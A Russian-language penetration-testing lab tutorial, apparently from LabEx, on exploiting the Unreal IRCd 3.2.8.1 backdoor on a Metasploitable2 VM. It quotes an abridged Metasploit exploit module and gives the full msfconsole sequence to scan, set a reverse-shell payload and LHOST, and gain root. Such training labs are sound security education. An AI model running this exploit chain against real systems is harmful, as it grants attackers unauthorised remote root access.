Введение
В этой лабораторной работе мы научимся эксплуатировать службу Unreal IRCd на целевой машине Metasploitable2, размещенной на платформе LabEx. Мы начнем с изучения природы уязвимости в службе Unreal IRCd, а затем проведем сканирование уязвимостей с помощью Nmap. После обнаружения уязвимой службы мы воспользуемся фреймворком Metasploit для эксплуатации и получения удаленной оболочки (shell) на целевой машине. В завершение мы подтвердим успешность атаки, выполнив команды в скомпрометированной системе.
Понимание уязвимости Unreal IRCd и запуск среды эксперимента
Версия Unreal IRCd 3.2.8.1 содержит уязвимость типа «бэкдор» (CVE-2010-2075), которая позволяет удаленным злоумышленникам выполнять произвольный код в целевой системе. Уязвимость кроется в макросе DEBUG3_DOLOG_SYSTEM, который включает внешний вредоносный код, доступный для использования атакующим.
Полезная информация:
Модуль Metasploit для эксплуатации этой уязвимости:
Краткий обзор модуля Metasploit:
## Require necessary modules
require 'msf/core'
## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
## Module initialization with details like name, description, author, references, etc.
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
## ... (omitted for brevity)
))
## Set default options
register_options(
[
Opt::RPORT(6667)
], self.class)
end
## Exploit method
def exploit
## Connect to the remote service
connect
## Print banner information
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
## Send the backdoor command
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
## Wait for session creation or timeout
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
Теперь запустим машину атакующего (контейнер Kali Linux) и целевую машину (виртуальная машина Metasploitable2) для проведения эксперимента.
- Откройте терминал xfce на хост-машине LabEx и запустите цель Metasploitable2, выполнив следующую команду:
sudo virsh start Metasploitable2
Дождитесь запуска целевой машины, это может занять 1-3 минуты.
- Проверьте соединение с целевой машиной с помощью ping:
ping 192.168.122.102
Нажмите Ctrl+C, чтобы остановить ping.
- Запустите контейнер Kali Linux и войдите в среду bash, выполнив:
docker run -ti --network host b5b709a49cd5 bash
- Внутри контейнера Kali проверьте сетевое соединение с целевой машиной:
ping 192.168.122.102
Нажмите Ctrl+C, чтобы остановить ping.
Теперь обе машины запущены, и вы можете приступить к тестированию на проникновение.
Примечание: Если вы случайно выйдете из текущего bash, контейнер Kali автоматически остановится. Вы можете снова выполнить docker run -ti --network host b5b709a49cd5 bash на хосте, чтобы запустить новый контейнер Kali и продолжить эксперимент.
Сканирование на наличие уязвимостей
На этом этапе мы проведем сканирование целевой машины, чтобы определить открытые порты и запущенные на них службы. Для этого мы будем использовать мощный инструмент Nmap (Network Mapper).
- Запустите консоль Metasploit в контейнере Kali Linux:
cd ~
msfconsole
- Внутри консоли Metasploit используйте команду
nmapдля сканирования целевой машины:
nmap -sV -T4 192.168.122.102
Опция -sV включает определение версий для открытых портов, а -T4 устанавливает агрессивный уровень тайминга (от 1 до 5, чем выше, тем быстрее).
В выводе должен отобразиться открытый порт 6667, на котором работает служба unreal ircd.
Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, затем начните проверку
Эксплуатация уязвимости Unreal IRCd
Теперь, когда мы обнаружили уязвимую службу Unreal IRCd, работающую на порту 6667, мы можем приступить к ее эксплуатации с помощью фреймворка Metasploit.
- Прежде всего, если вы не находитесь в консоли Metasploit, запустите ее:
cd ~
msfconsole
- В консоли Metasploit найдите модуль
unreal_ircd_3281_backdoor:
search unreal_ircd_3281_backdoor
- Загрузите модуль:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- Укажите целевой хост:
set RHOST 192.168.122.102
- Установите полезную нагрузку (payload) для обратной оболочки (reverse shell):
set PAYLOAD cmd/unix/reverse
- Укажите IP-адрес хоста Kali, который будет принимать обратное соединение:
set LHOST 192.168.122.1
- Запустите эксплойт:
exploit
Если эксплуатация прошла успешно, вы получите удаленную оболочку на целевой машине. Если Metasploit сообщит об открытии сессии командной оболочки, вы можете продолжить выполнение проверочных команд.
Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, затем начните проверку
Проверка результатов эксплуатации
Чтобы убедиться, что эксплуатация прошла успешно, мы можем выполнить команды в удаленной оболочке, полученной на предыдущем этапе.
- Прежде всего, если вы не находитесь в консоли Metasploit, запустите ее:
cd ~
msfconsole
- Проверьте текущего пользователя с помощью команды
whoami:
whoami
- Проверьте имя хоста с помощью команды
hostname:
hostname
- Проверьте IP-адрес с помощью команды
ifconfig:
ifconfig
Если в выводе указан пользователь root, имя хоста metasploitable, а IP-адрес совпадает с целевой машиной (192.168.122.102), это подтверждает успешность эксплуатации и получение полного контроля над целевой системой.
Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, затем начните проверку
Резюме
В этой лабораторной работе мы изучили уязвимость Unreal IRCd и способы ее эксплуатации с помощью фреймворка Metasploit. Мы начали с понимания сути уязвимости и ее последствий, затем провели сканирование для обнаружения уязвимой службы. Обнаружив службу Unreal IRCd на порту 6667, мы использовали соответствующий модуль Metasploit для получения удаленного доступа к целевой машине. В завершение мы подтвердили успех атаки, выполнив команды в скомпрометированной системе. Эта работа дала практический опыт анализа уязвимостей, методов эксплуатации и проверки результатов, что является необходимым навыком для этичных хакеров и специалистов по кибербезопасности.



